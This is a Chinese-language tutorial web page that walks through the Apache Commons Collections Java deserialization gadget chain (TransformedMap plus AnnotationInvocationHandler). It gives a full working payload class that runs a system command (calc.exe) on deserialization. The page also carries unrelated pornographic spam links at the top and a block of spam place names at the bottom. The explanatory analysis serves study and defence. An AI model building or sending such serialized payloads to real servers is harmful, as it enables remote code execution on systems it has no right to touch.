亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Java中怎么實現反序列化漏洞

發布時間:2021-06-30 18:10:06 來源:億速云 閱讀:224 作者:Leah 欄目:安全技術

本篇文章為大家展示了Java中怎么實現反序列化漏洞,內容簡明扼要并且容易理解,絕對能使你眼前一亮,通過這篇文章的詳細介紹希望你能有所收獲。

1)Java執行程序

在Java中,可以通過java.lang.Runtime類方便的調用操作系統命令,或者一個可執行程序。

public class RuntimeTest {
    public static void main(String[] args) throws Exception{
        Runtime runtime = Runtime.getRuntime();
        runtime.exec("calc.exe");
    }
}

如上代碼,可以打開windows系統的計算器。

Java中怎么實現反序列化漏洞

2)java反射機制

反射機制允許程序在運行期借助于Reflection API取得任何類的內部信息,并能直接操作任意類和對象的所有屬性及方法。

要使用一個類,就要先把它加載到虛擬機中,在加載完類之后,堆內存的方法區中就產生了一個Class類型的對象(一個類只有一個class對象),這個對象就包含了完整的類的結構信息,我們可以通過這個對象看到類的結構,這個對象就像一面鏡子,透過鏡子可以看到類的結構,所以形象的稱之為:反射。

反射中會經常使用到的方法:

1、獲取Class實例的方式
   方式1:調用運行時類的屬性 .class
   方式2:通過運行時的對象調用getClass()
   方式3:調用Class的靜態方法:forName(String classPath)
   方式4:使用類的加載器  classloader
2、創建運行時類的對象
   newInstance()  調用此方法,創建對應的運行時類的對象
3、獲取運行時類的結構
   getFields()  獲取當前運行時類及其父類中聲明為public訪問權限的屬性
   getDeclaredFields()  獲取當前運行時類中聲明的所有屬性,不包含父類
   getMethods() 獲取當前運行時類及其所有父類聲明為public的方法
   getDeclaredMethods()  獲取當前運行時類中聲明的方法,不包含父類
   getConstructors() 獲取當前運行時類聲明為public的構造器
   getDeclaredConstructors()  獲取當前運行時類中聲明的所有構造器
   invoke()方法允許調用包裝在當前Method對象中的方法

反射示例:

如下代碼中,Object i = m1.invoke(r1, 1, 2)的作用是:使用r1調用m1獲得的對象所聲明的公開方法即print,并將int類型的1,2作為參數傳入。

import java.lang.reflect.Method;
public class test {
    public static void main(String[] args) {
        Reflect r1=new Reflect();
        //通過運行時的對象調用getClass();
        Class c=r1.getClass();
        try {
            //getMethod(方法名,參數類型)
            //getMethod第一個參數是方法名,第二個參數是該方法的參數類型
            //因為存在同方法名不同參數這種情況,所以只有同時指定方法名和參數類型才能唯一確定一個方法
            Method m1 = c.getMethod("print", int.class, int.class);

            //相當于r1.print(1, 2);方法的反射操作是用m1對象來進行方法調用 和r1.print調用的效果完全相同
            //使用r1調用m1獲得的對象所聲明的公開方法即print,并將int類型的1,2作為參數傳入
            Object i = m1.invoke(r1, 1, 2);

        }catch (Exception e){
            e.printStackTrace();
        }
    }
}
class Reflect{
    public void print(int a,int b){
        System.out.println(a+b);
    }
}

使用反射機制執行命令

此處invoke(runtime,"calc.exe")的作用為:使用runtime調用獲得的Method對象所聲明的公開方法即exec,并將calc.exe作為參數傳入,而runtime為獲取的Runtime.getRuntime實例對象。因此,此處代碼相當于執行了Runtime.getRuntime( ).exec("calc.exe")。

熟悉這塊的操作,后面會以此完成攻擊鏈:

public class RuntimeTest {
    public static void main(String[] args) throws Exception {
        //forName(類名)  獲取類名對應的Class對象,同時將Class對象加載進來。
        //getMethod(方法名,參數類型列表)  根據方法名稱和相關參數,來定位需要查找的Method對象并返回。
        //invoke(Object obj,Object...args)  invoke允許調用包裝在當前Method對象中的方法

        Object runtime=Class.forName("java.lang.Runtime").getMethod("getRuntime",new Class[]{}).invoke(null);    //獲取一個Runtime的實例對象

        //調用Runtime實例對象的exec()方法,并將calc.exe作為參數傳入
        Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"calc.exe");
    }
}

如上,通過Java反射機制打開windows的計算器。Java中怎么實現反序列化漏洞

Java中為什么要使用反射機制,直接創建對象不是更方便?
如果有多個類,每個用戶所需求的對象不同,直接創建對象,就要不斷的去new一個對象,非常不靈活。而java反射機制,在運行時確定類型,綁定對象,動態編譯最大限度發揮了java的靈活性。

3)Java序列化和反序列化

Java序列化是指把Java對象轉換為字節序列的過程,便于保存在內存、文件、數據庫中。
即:對象—>字節流 (序列化)

Java反序列化即序列化的逆過程,由字節流還原成對象。
即:字節流—>對象(反序列化)
序列化的好處在于可將任何實現了Serializable接口的對象轉換為字節數據,使其保存和傳輸時可被還原。

反序列化的操作函數:

java.io.ObjectOutputStream類中的writeObject( )方法可以實現Java序列化。
java.io.ObjectInputStream類中的readObject( )方法可以實現Java反序列化。

想一個Java對象是可序列化的,需要滿足相應的要求:

1、實現Serializable接口或Externalizable接口
2、當前類提供一個全局常量 serialVersionUID
3、必須保證其內部所有屬性也必須是可序列化的(默認情況下,基本數據類型可序列化)
4、ObjectInputStream和ObjectOutputStream不能序列化static和transient修飾的成員變量

Java反序列化示例:

import java.io.*;
public class Serialize {
    public static void main(String[] args) throws Exception {
        //序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("hello.txt"));
        oos.writeObject(new String("序列化"));
        oos.close();

        //反序列化
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("hello.txt"));
        Object o = ois.readObject();
        String s = (String) o;
        ois.close();
        System.out.println(s);

    }
}

反序列化漏洞成因:

序列化指把Java對象轉換為字節序列的過程,反序列化就是打開字節流并重構對象,那如果即將被反序列化的數據是特殊構造的,就可以產生非預期的對象,從而導致任意代碼執行。

Java中間件通常通過網絡接收客戶端發送的序列化數據,而在服務端對序列化數據進行反序列化時,會調用被序列化對象的readObject( )方法。而在Java中如果重寫了某個類的方法,就會優先調用經過修改后的方法。如果某個對象重寫了readObject( )方法,且在方法中能夠執行任意代碼,那服務端在進行反序列時,也會執行相應代碼。

如果能夠找到滿足上述條件的對象進行序列化并發送給Java中間件,Java中間件也會去執行指定的代碼,即存在反序列化漏洞。

4)Java集合框架

Java集合框架是對多個數據進行存儲操作的結構,其主要分為Collection和Map兩種體系:

Collection接口:單例數據,定義了存取一組對象的方法的集合
Map接口:雙列數據,保存具有映射關系“Key-value”的集合

Apache Commons Collections:一個擴展了Java標準庫里集合框架的第三方基礎庫。它包含有很多jar工具包如下圖所示,它提供了很多強有力的數據結構類型并且實現了各種集合工具類。

Java中怎么實現反序列化漏洞

0x03 Apache Commons Collections反序列化漏洞

Apache Commons Collections反序列化漏洞的主要問題在于Transformer這個接口類,Transformer類可以滿足固定的類型轉化需求,其轉化函數可以自定義實現,漏洞點就在這里。

目前已知實現了Transformer接口的類,如下所示。而在Apache Commons Collections反序列漏洞中,會使用到ChainedTransformer、ConstantTransformer、InvokerTransformer這三個類,這些類的具體作用我們在下面結合POC來看。Java中怎么實現反序列化漏洞在遠程調用前,我們先看本地的POC:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class ApacheSerialize1 {
    public static void main(String[] args) throws Exception {
        //1、創建Transformer型數組,構建漏洞核心利用代碼
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };
        //2、將transformers數組存入ChaniedTransformer類
        Transformer transformerChain = new ChainedTransformer(transformers);

        //3、創建Map,給予map數據轉化鏈
        Map innerMap = new HashMap();
        innerMap.put("key", "value");
        //給予map數據轉化鏈,該方法有三個參數:
        // 第一個參數為待轉化的Map對象
        // 第二個參數為Map對象內的key要經過的轉化方法(可為單個方法,也可為鏈,也可為空)
        // 第三個參數為Map對象內的value要經過的轉化方法(可為單個方法,也可為鏈,也可為空)
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        //4、觸發漏洞利用鏈,利用漏洞
        onlyElement.setValue("test");
    }
}

該POC從上至下大致分為四點,我們以此四點為基礎進行分析:

1、創建transformers數組,構建漏洞核心利用代碼。

2、將transformers數組存入ChaniedTransformer類。

3、創建Map,給予map數據轉化鏈

4、觸發漏洞利用鏈,利用漏洞

1)創建transformers數組,構建漏洞核心利用代碼

此處創建了一個Transformer類型的數組,其中創建了四個對象。這四個對象分別使用了ConstantTransforme和InvokerTransformer兩個類。
ConstantTransformer:把一個對象轉化為常量,并返回。
InvokerTransformer:通過反射,返回一個對象。

代碼如下:

Java中怎么實現反序列化漏洞

此處,先不研究里面的具體參數有何作用,只需明確此處創建了一個Transformer類型的數組,其中創建了四個對象,我們接著往下看。

2)將transformers數組存入ChaniedTransformer類

此處創建了一個ChainedTransformer對象,并將transformers數組作為參數傳入。

ChainedTransformer類:把一些transformer鏈接到一起,構成一組鏈條,對一個對象依次通過鏈條內的每一個transformer進行轉換。

Java中怎么實現反序列化漏洞

繼續往下看。

3)創建Map,給予map數據轉化鏈

此處代碼較多,我們拆開看。

Java中怎么實現反序列化漏洞

先是創建Map類,添加了一組數據("key", "value")。前文有提到,Map是具有映射關系 Key-value的集合,一個鍵值對:kay-value構成了一個Entry對象。

Java中怎么實現反序列化漏洞

接著是給予map實現類的數據轉化鏈。而在Apache Commons Collections中實現了TransformedMap類,該類可以在一個元素被添加/刪除/或是被修改時,會調用transform方法自動進行特定的修飾變換,具體的變換邏輯由Transformer類定義。即就是當數據發生改變時,可以進行一些提前設定好的操作。

也就是說,此處的代碼是給予Map數據轉化鏈,當Map里的數據發生改變時,會進行轉換鏈設定好的操作,如下有三個參數:

Java中怎么實現反序列化漏洞

此處TransformedMap調用了decorate( )方法,創建了TransformedMap對象。參數1 ,innerMap作為參數調用了父類AbstractInputCheckedMapDecorator的構造函數,保存為this.map變量。參數2為null。參數3,transformerChain被初始化為this.valueTransformer變量。

TransformedMap類相關代碼如下:

Java中怎么實現反序列化漏洞

然后獲取outerMap的第一個鍵值對(key,value),然后轉化成Map.Entry形式,前文也提到一個kay-value構成一個Entry對象。

Java中怎么實現反序列化漏洞

最后利用Map.Entry取得第一個值,調用修改值的函數,觸發下面的setValue( )代碼。

Java中怎么實現反序列化漏洞

4)觸發漏洞利用鏈,利用漏洞

接著上面分析,繼續跟進setValue( )函數,會進入到AbstractInputCheckedMapDecorator類。此時setValue( )方法會檢查要被修改的元素,進入到TransformedMap的轉換鏈。

跟進setValue()里的this.parent.checkSetValue(value),跳到TransoformedMap類,this.parent為TransformedMap類的對象outerMap。

AbstractInputCheckedMapDecorator類相關代碼如下:Java中怎么實現反序列化漏洞

跳到TransoformedMap類。

此時的this.valueTransformer就是transformerChain,之后就會觸發漏洞利用鏈。而transformerChain就是在上面POC第二點代碼生成的ChainedTransformer對象,其中傳入了transformers數組,transformers數組為POC第一點構造的漏洞利用核心代碼。

TransoformedMap類相關代碼如下:

Java中怎么實現反序列化漏洞

由于valueTransformer為transformerChain,因此上面代碼中的this.valueTransformer.transform(value)會調用ChainedTransformer類的transform方法。

此時我們構造好的含有利用代碼的transformers數組會循環進入此處,先調用1次ConstantTransformer類,再調用3次InvokerTransformer類。

需要注意在數組的循環中,前一次transform函數的返回值,會作為下一次transform函數的object參數輸入。

ChainedTransformer類相關代碼如下:

Java中怎么實現反序列化漏洞

第一次循環:

Java中怎么實現反序列化漏洞

首先是去調用ConstantTransformer類的transform方法,將Runtime.class保存為this.iConstant變量,并將返回值作為下一次transform函數的object參數輸入。

ConstantTransformer類相關代碼如下:

Java中怎么實現反序列化漏洞

第二次循環:

Java中怎么實現反序列化漏洞

調用InvokerTransformer類的transform( )方法,此時transform的object參數,即java.lang.Runtime。

先看InvokerTransformer的構造函數:

第一個是字符串,是調用的方法名

第二個是個Class數組,是方法的參數的類型

第三個是Object數組,是方法的參數的具體值

進入到InvokerTransformer類的transform方法,非常明顯的反射機制。此處,input為transform的object參數為java.Lang.Runtime。

Java中怎么實現反序列化漏洞

此處就相當于:

method = input.getClass().getMethod("getMethod",  new Class[] {String.class, Class[].class).invoke("java.Lang.Runtime", new Object[] {"getRuntime", new Class[0]});

即java.Lang.Runtime.getMethod("getRuntime",null),返回一個Runtime.getRuntime( )方法,相當于產生一個字符串,但還沒有執行"Rumtime.getRuntime( );"。

第三次循環

Java中怎么實現反序列化漏洞

同樣進入到InvokerTransformer類的transform( )方法,input為上次循環的返回值Runtime.getRuntime( )。

此時就相當于:

method = input.getClass().getMethod("invoke",  new Class[] {Object.class, Object[].class }).invoke("Runtime.getRuntime()",  new Object[] {null, new Object[0]});

Runtime.getRuntime( ).invoke(null),那么會返回一個Runtime對象實例。相當于執行了完成了:

Object runtime=Class.forName("java.lang.Runtime").getMethod("getRuntime",new Class[]{}).invoke(null);

第四次循環

Java中怎么實現反序列化漏洞

同樣進入到InvokerTransformer類的transform方法,input為上次循環的返回值Runtime.getRuntime( ).invoke(null)。

此時就相當于:

method = input.getClass().getMethod("exec",  new Class[] {String.class }).invoke("runtime", new Object[] {"calc.exe"});

即Runtime.getRuntime( ).exec("calc.exe")。至此成功完成漏洞利用鏈,執行系統命令語句,觸發漏洞。

最后整理整個過程:

1、transform數組里面含有4個實現了Transformer接口的對象,這四個對象都重寫了transform()方法

2、ChianedTransformer里面裝了4個transform,ChianedTransformer也實現了Transformer接口,同樣重寫了transform()方法

3、TransoformedMap綁定了ChiandTransformer,給予map數據轉化鏈,當map里的數據進行修改時,需經過ChiandTransformer轉換鏈

4、利用TransoformedMap的setValue修改map數據,觸發ChiandTransformer的transform()方法

5、ChianedTransformer的transform是一個循環調用該類里面的transformer的transform方法

loop 1:第一次循環調用ConstantTransformer("java.Runtime")對象的transformer方法,調用參數為"test"(正常要修改的值),返回了java.Runtime作為下一次循環的object參數

loop 2:第二次循環調用InvokerTransformer對象的transformer,參數為("java.Runtime"),包裝Method對象"getMethod"方法,invoke方法獲得對象所聲明方法"getRuntime",利用反射,返回一個Rumtime.getRuntime()方法

loop 3:第三次循環調用InvokerTransformer對象的transformer,參數為("Rumtime.getRuntime()"),包裝Method對象"invoke"方法,利用反射,返回一個Rumtime.getRuntime()實例

loop 4:第四次循環調用InvokerTransformer對象的transformer,參數為一個Runtime的對象實例,包裝Method對象"exec"方法,invoke方法獲得對象所聲明方法"calc.exe",利用反射,執行彈出計算器操作

0x04 最終Payload

目前的POC只是被執行了,我們要利用此漏洞,就需要通過網絡傳輸payload,在服務端對我們傳過去的payload進行反序列時執行代碼。而且該POC的關鍵依賴于Map中某一項去調用setValue( ) ,而這完全不可控。

因此就需要尋找一個可序列化類,該類重寫了readObject( )方法,并且在readObject( )中進行了setValue( ) 操作,且這個Map變量是可控的。需要注意的時,在java中如果重寫了某個類的方法,就會優先調用經過修改后的方法。

在java中,確實存在一個類AnnotationInvocationHandler,該類重寫了readObject( )方法,并且執行了setValue( )操作,且Map變量可控,如果可以將TransformedMap裝入這個AnnotationInvocationHandler類,再傳過去,服務端在對其進行反序列化操作時,就會觸發漏洞。最后利用的payload如下:

package Serialize;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;


public class ApacheSerialize implements Serializable {
    public static void main(String[] args) throws Exception{
        //transformers: 一個transformer鏈,包含各類transformer對象(預設轉化邏輯)的轉化數組
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };

        //transformedChain: ChainedTransformer類對象,傳入transformers數組,可以按照transformers數組的邏輯執行轉化操作
        Transformer transformerChain = new ChainedTransformer(transformers);

        //Map數據結構,轉換前的Map,Map數據結構內的對象是鍵值對形式,類比于python的dict
        Map map = new HashMap();
        map.put("value", "test");

        //Map數據結構,轉換后的Map
        /*
        TransformedMap.decorate方法,預期是對Map類的數據結構進行轉化,該方法有三個參數。
            第一個參數為待轉化的Map對象
            第二個參數為Map對象內的key要經過的轉化方法(可為單個方法,也可為鏈,也可為空)
            第三個參數為Map對象內的value要經過的轉化方法。
       */
        //TransformedMap.decorate(目標Map, key的轉化對象(單個或者鏈或者null), value的轉化對象(單個或者鏈或者null));
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

        //反射機制調用AnnotationInvocationHandler類的構造函數
        //forName 獲得類名對應的Class對象
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //通過反射調用私有的的結構:私有方法、屬性、構造器
        //指定構造器
        
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        //取消構造函數修飾符限制,保證構造器可訪問
        ctor.setAccessible(true);

        //獲取AnnotationInvocationHandler類實例
        //調用此構造器運行時類的對象
        Object instance=ctor.newInstance(Target.class, transformedMap);

        //序列化
        FileOutputStream fileOutputStream = new FileOutputStream("serialize.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(instance);
        objectOutputStream.close();

        //反序列化
        FileInputStream fileInputStream = new FileInputStream("serialize.txt");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        Object result = objectInputStream.readObject();
        objectInputStream.close();
        System.out.println(result);
    }
}

可以觸發。

Java中怎么實現反序列化漏洞

我們來研究最終payload新加的部分:

Java中怎么實現反序列化漏洞

新加部分代碼的前四部分不是很難理解。使用反射去調用AnnotationInvocationHandler類,并且指定了具體參數類型為(Class.class, Map.class)的構造器。之后再使用newInstance調用指定構造器運行時類的對象,并將(Target.class, transformedMap)作為參數傳入。

查看AnnotationInvocationHandler類,反射調用的構造器如下:

Java中怎么實現反序列化漏洞

其中var1為Target.class,var2為transformedMap,var1.getInterfaces( )為獲取當前類顯式實現的接口,即獲取Target類顯式實現的接口。

Target類使用了@interface自定義注解,而@interface自定義注解自動繼承了java.lang.annotation.Annotation這一個接口,由編譯程序自動完成其他細節。因此符合if語句判斷,生成AnnotationInvocationHandler類實例。

Target類代碼如下:

Java中怎么實現反序列化漏洞

進入payload序列化和反序列部分,主要是看反序列化的readObject( )部分,打開字節流并重構對象,此時的對象即AnnotationInvocationHandler類實例。

Java中怎么實現反序列化漏洞

前文提到在java中如果重寫了某個類的方法,就會優先調用經過修改后的方法,而AnnotationInvocationHandler類重寫了readObject( )方法,因此反序列化時會優先調用該類中的readObject( )方法。

跟進AnnotationInvocationHandler類的readObject( )方法,此時的var1為實例化的AnnotationInvocationHandler類對象,之后會觸發setValue( )造成命令執行。

AnnotationInvocationHandler類相關代碼如下:

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    ....................
        AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            //this.type為Target.class
            this.type = var1;
            //this.memberValues為transformedMap
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }

    .......................
    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        //1、defaultReadObject(),從var1讀取當前類的非靜態和非瞬態字段
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            //this.type為實例化時傳入的Target.class
            //2、getInstance獲取到@Target類的方法等基本信息。
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        //3、獲取到Target類的注解元素 即{value:ElementType}鍵值對
        Map var3 = var2.memberTypes();
        //4、this.memberValues為實例化時傳入的transformedMap,獲取構造map的迭代器
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            //獲取到map的第一個鍵值對 {value:test}
            Entry var5 = (Entry)var4.next();
            //獲取到map第一個鍵值對 {value:test}的key  即value
            String var6 = (String)var5.getKey();
            //從@Target的注解元素 {value:ElementType}鍵值對中去尋找鍵名為value的值
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                //獲取到map第一個鍵值對 {value:test}的value 即test
                Object var8 = var5.getValue();
                //isInstance表示var8是否能強轉為var7  instanceof表示var8是否為ExceptionProxy類型
                //兩個都為否,進入到if條件語句內部
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    //觸發setValue
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));

                }
            }
        }
    }
}

至此,完成漏洞利用。

0x05 一個小問題

在測試的時候,未使用AnnotationInvocationHandler類時,map可以put時key可以隨意設置,如上文POC中的map.put("key", "value")。

但在調用AnnotationInvocationHandler類時就必須設置為value。

Java中怎么實現反序列化漏洞

主要原因如下:

需要注意的是在AnnotationInvocationHandler類相關代碼的var2 = AnnotationType.getInstance(this.type)部分,this.type為實例化時傳入的Target.class。

跟進,進入到AnnotationType類的getInstance( )方法,其中var2為var1返回該元素Target類型的注釋,而var1中沒有此注釋,返回null,進入到判斷語句,此時會實例化一個AnnotationType對象,并將var0作為參數傳入。

Java中怎么實現反序列化漏洞

繼續跟進AnnotationType類的AnnotationType( ),其中var1為Target.class,此時獲取的Target類的全部方法等基本信息,其中this.memberTypes為獲取到的Target類的全部方法,而Target.class只定義了一個名為value的方法(快捷方式,限制了元素名必須為value)。

public class AnnotationType {
    ...................
    private AnnotationType(final Class<? extends Annotation> var1) {
        if (!var1.isAnnotation()) {
            throw new IllegalArgumentException("Not an annotation type");
        } else {
            //獲取到Target.class的全部方法
            Method[] var2 = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
                public Method[] run() {
                    return var1.getDeclaredMethods();
                }
            });
            //底層創建了長度是var2長度加1的一維數組,加載因子為1.0(擴容時才會用到)
            this.memberTypes = new HashMap(var2.length + 1, 1.0F);
            this.memberDefaults = new HashMap(0);
            this.members = new HashMap(var2.length + 1, 1.0F);
            Method[] var3 = var2;
            int var4 = var2.length;

            //遍歷var2,即獲取到的Target.class的全部方法
            for(int var5 = 0; var5 < var4; ++var5) {
                Method var6 = var3[var5];
                if (var6.getParameterTypes().length != 0) {
                    throw new IllegalArgumentException(var6 + " has params");
                }
                //獲取方法的名稱
                String var7 = var6.getName();
                //獲取方法的返回值類型
                Class var8 = var6.getReturnType();

                //將方法的名稱和返回值類型以鍵值對的形式傳入
                //Target.class只有一個方法{value:ElementType}
                this.memberTypes.put(var7, invocationHandlerReturnType(var8));
                
                this.members.put(var7, var6);
                Object var9 = var6.getDefaultValue();
                if (var9 != null) {
                    this.memberDefaults.put(var7, var9);
                }
            }

            if (var1 != Retention.class && var1 != Inherited.class) {
                JavaLangAccess var10 = SharedSecrets.getJavaLangAccess();
                Map var11 = AnnotationParser.parseSelectAnnotations(var10.getRawClassAnnotations(var1), var10.getConstantPool(var1), var1, new Class[]{Retention.class, Inherited.class});
                Retention var12 = (Retention)var11.get(Retention.class);
                this.retention = var12 == null ? RetentionPolicy.CLASS : var12.value();
                this.inherited = var11.containsKey(Inherited.class);
            } else {
                this.retention = RetentionPolicy.RUNTIME;
                this.inherited = false;
            }

        }
    }
    .......................

    public Map<String, Class<?>> memberTypes() {
        return this.memberTypes;
    }
    .......................

}

根據上面代碼追蹤到,this.memberTypes為獲取到的Target.class的全部方法,可以看到主要在String var6 = (String)var5.getKey( )為獲取到map第一個鍵值對{value:test}的key即value,var7會從獲取到Target的全部方法{value:ElementType}鍵值對中去尋找鍵名為var6的值,如果獲取不到就不會進入到setValue( )方法,因此必須設置map的key為value。

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
       ....................        
        //3、獲取到Target類的注解元素 即{value:ElementType}鍵值對
        Map var3 = var2.memberTypes();
        //4、獲取構造map的迭代器
        Iterator var4 = this.memberValues.entrySet().iterator();
        while(var4.hasNext()) {
            //獲取到map的第一個鍵值對 {value:test}
            Entry var5 = (Entry)var4.next();
            //獲取到map第一個鍵值對 {value:test}的key  即value
            String var6 = (String)var5.getKey();
            //從獲取到Target的全部方法 {value:ElementType}鍵值對中去尋找鍵名為value的值
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                //獲取到map第一個鍵值對 {value:test}的value 即test
                Object var8 = var5.getValue();
                //isInstance表示var8是否能強轉為var7  instanceof表示var8是否為ExceptionProxy類型
                //兩個都為否,進入到if條件語句內部
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    //觸發setValue
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));

                }
            }
       ....................        
}

上述內容就是Java中怎么實現反序列化漏洞,你們學到知識或技能了嗎?如果還想學到更多技能或者豐富自己的知識儲備,歡迎關注億速云行業資訊頻道。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

永吉县| 山东省| 溧水县| 高青县| 乌海市| 绥阳县| 芜湖市| 三原县| 海林市| 崇阳县| 长白| 南汇区| 双流县| 天津市| 鹤山市| 当雄县| 安溪县| 喀喇| 道真| 资阳市| 长宁县| 修文县| 尖扎县| 高清| 旺苍县| 鄢陵县| 凌海市| 徐水县| 琼结县| 曲沃县| 泸州市| 祁门县| 汕头市| 马边| 永定县| 合山市| 伊春市| 衡东县| 博野县| 卫辉市| 保德县|